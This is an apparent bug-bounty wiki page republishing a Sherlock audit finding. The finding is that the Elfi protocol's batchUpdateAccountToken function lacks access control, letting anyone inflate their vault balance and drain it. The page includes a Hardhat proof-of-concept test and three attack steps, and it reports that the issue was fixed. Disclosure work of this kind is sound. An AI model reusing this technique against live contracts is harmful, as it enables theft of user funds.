Skip to content
Access control Audit finding Beginner

Anyone can change the balance of an account to drain the entire portfolio vault

The batchUpdateAccountToken function lacks access control, allowing anyone to set arbitrary token balances for any account. An attacker could inflate their balance and withdraw all funds from the portfolio vault.

0xPwnd Follow with 0xrex, 1337 and 18 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-05-elfi-protocol-judging/issues/28

Found by

0xPwnd, 0xrex, 1337, KingNFT, KrisRenZo, KupiaSec, PNS, Timenov, blackhole, debugging3, jah, jennifer37, joicygiore, link, mstpr-brainbot, pashap9990, qpzm, r0bert, tedox, volodya, whitehair0330

Summary

Anyone can call batchUpdateAccountToken to update their balance in portfolio vault without depositing the tokens.

Vulnerability Detail

Simply call the function with desired amounts and withdraw the funds from portfolio vault

Coded PoC:

TypeScript
it("Anyone Can change the balance as wish", async function () {
		const usdcAmount = precision.token(1000, 6);
		// do this so that the user0 account is exists
		await deposit(fixture, {
			account: user0,
			token: usdc,
			amount: usdcAmount,
		});

		// change the balance as you wish
		const updateAccParams = {
			account: user0.address,
			tokens: [usdcAddr, wbtcAddr],
			changedTokenAmounts: [
				precision.token(100_000, 6), // USDC with 6 decimals
				precision.token(100), // WBTC with default 18 decimals
			],
		};

		await accountFacet.connect(user0).batchUpdateAccountToken(updateAccParams);

		const accountInfo = await accountFacet.getAccountInfo(user0.address);
		console.log(
			"Account info before execute and after create request",
			accountInfo
		);
	});

Impact

All funds in portfolio vault can be drained.

Code Snippet

https://github.com/sherlock-audit/2024-05-elfi-protocol/blob/8a1a01804a7de7f73a04d794bf6b8104528681ad/elfi-perp-contracts/contracts/facets/AccountFacet.sol#L68-L71

Tool used

Manual Review

Recommendation

I am guessing this function should not be existed and here for test purposes, missing access control or missing the actual token transfer. Without knowing the exact reason why this function is here it is not possible to give any recommendations.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/0xCedar/elfi-perp-contracts/pull/11

sherlock-admin2

The Lead Senior Watson signed off on the fix.

The original report as published on Sherlock, by 0xPwnd. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely missing access control on the batchUpdateAccountToken function, which allows arbitrary balance updates without corresponding token transfers.

Impact

All funds in the portfolio vault could be drained.

What the attacker needed

A small initial deposit to create the account

The fix

The protocol team fixed this issue in a pull request.

How it was found

  1. Ensure the attacker's account exists by making a small deposit.
  2. Call batchUpdateAccountToken with arbitrarily large token amounts for the attacker's account.
  3. Withdraw the inflated balance from the portfolio vault.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract function meant for internal use was left callable by anyone. It lets a user directly change their account balance without actually depositing tokens. An attacker can set a huge balance and then withdraw real funds from the vault.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Elfi

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.